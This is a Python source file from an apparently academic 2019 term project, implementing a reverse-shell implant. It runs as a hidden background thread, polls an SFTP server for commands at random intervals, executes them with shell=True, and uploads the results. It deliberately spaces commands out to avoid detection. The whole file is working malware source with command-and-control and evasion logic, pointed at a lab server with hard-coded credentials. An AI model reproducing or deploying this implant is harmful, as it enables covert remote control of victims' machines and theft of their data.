reverseShell.py

#==============================================================================
#   Assignment:  Term Project
#
#       Author:  Abiram Kaimathuruthy, Brian Smith
#     Language:  Python
#   To Compile:  n/a
#
#        Class:  DPI912
#    Professor:  Prof. Kaduri
#     Due Date:  2019-12-06
#    Submitted:  2019-12-06
#
#-----------------------------------------------------------------------------
#
#  Description: Run Shell commands on the target user's machine.
#
#  Input:  n/a
#
#  Output:  Uploaded files to SFTP server
#
#  Algorithm: starts a new threads upon starting. The thread is used to lookup
#             the commands in the SFTP server and executes them. The results
#             are uploaded back to the SFTP server.
#
#  Required Features Not Included:  n/a
#
#  Known Bugs:  n/a
#
#  Classification: A
#
#==============================================================================
import paramiko
import subprocess
import traceback
import threading
import random
import time
import getpass
from datetime import datetime

THREE_HOURS_IN_SECONDS = 10800
THIRTY_MIN_IN_SECONDS = 1800

THREE_MINUTES_IN_SECONDS = 180
TEN_MINUTES_IN_SECONDS = 600

INPUT_FILE_PATH = "/home/lab/Erebus/input/commands"
OUTPUT_FILE_PATH = "/home/lab/Erebus/output/"

HOST_IP_ADDRESS = "localhost"
HOST_PORT = 22

USERNAME = "lab"
PASSWORD = "lab"

DATE_FORMAT = "%d-%m-%Y-%H:%M:%S"


class ReverseShell:
    def __init__(self, inputFilePath=INPUT_FILE_PATH, outputFilePath=OUTPUT_FILE_PATH):
        self._username = getpass.getuser()

    def start(self) -> None:
        """Start Reverse Shell operation.
        
        Note that this method is non-blocking.
        """
        thread = threading.Thread(target=self._reverseShell)
        thread.start()

    def _reverseShell(self) -> None:
        while True:
            waitTime = random.randint(THIRTY_MIN_IN_SECONDS, THREE_HOURS_IN_SECONDS)
            time.sleep(waitTime)

            try:
                with paramiko.Transport((HOST_IP_ADDRESS, HOST_PORT)) as transport:
                    transport.connect(
                        hostkey=None, username=USERNAME, password=PASSWORD
                    )

                    with paramiko.SFTPClient.from_transport(transport) as sftp:
                        outputOfAllCommands = self._executeCommands(sftp)
                        self._uploadCommandResults(sftp, outputOfAllCommands)
            except:
                continue

    def _uploadCommandResults(
        self, sftpClient: paramiko.SFTPClient, result: str
    ) -> None:
        """Upload command results to SFTP server.

        Upload the command results to a newly generate name in SFTP server.

        Example:
            >>> result = '''
            cat secretFile
            this is the fist line of the file
            second line
            last line
            '''
            >>> with paramiko.SFTPClient.from_transport(transport) as sftp:
            ...     self._uploadCommadResults(sftp,result)
            ...
        """
        filePath = self._generateFilePath()
        with sftpClient.open(filePath, "w") as resultFile:
            resultFile.write(result)

    def _generateFilePath(self) -> str:
        """Return a new file path.

        The format is as follows:
            OUTPUT_FILE_PATH/username-day-month-year-hour:minute:second
        
        Example:
            >>> self._generateFilePath()
            ~/Erebus/output/lab-11-12-2019-12:22:
        """
        currentDateAndTime = datetime.now()
        timestamp = currentDateAndTime.strftime(DATE_FORMAT)

        return f"{OUTPUT_FILE_PATH}SHELL-{self._username}-{timestamp}"

    def _executeCommands(self, sftpClient: paramiko.SFTPClient) -> str:
        """Return the result of executing all the commands.

        Open input file and execute all the commands one at a time.
        Note that it randomly waits 3 to 10 minutes between each
        command to avoid being suspicious.
        """
        outputOfAllCommands = ""

        with sftpClient.open(INPUT_FILE_PATH) as commandFile:
            for line in commandFile:
                command = line.rstrip()
                output = subprocess.check_output(command.split(), shell=True)
                outputOfAllCommands += f"{command}\n{output.decode('utf-8')}\n\n"

                waitTime = random.randint(
                    THREE_MINUTES_IN_SECONDS, TEN_MINUTES_IN_SECONDS
                )
                time.sleep(waitTime)

        return outputOfAllCommands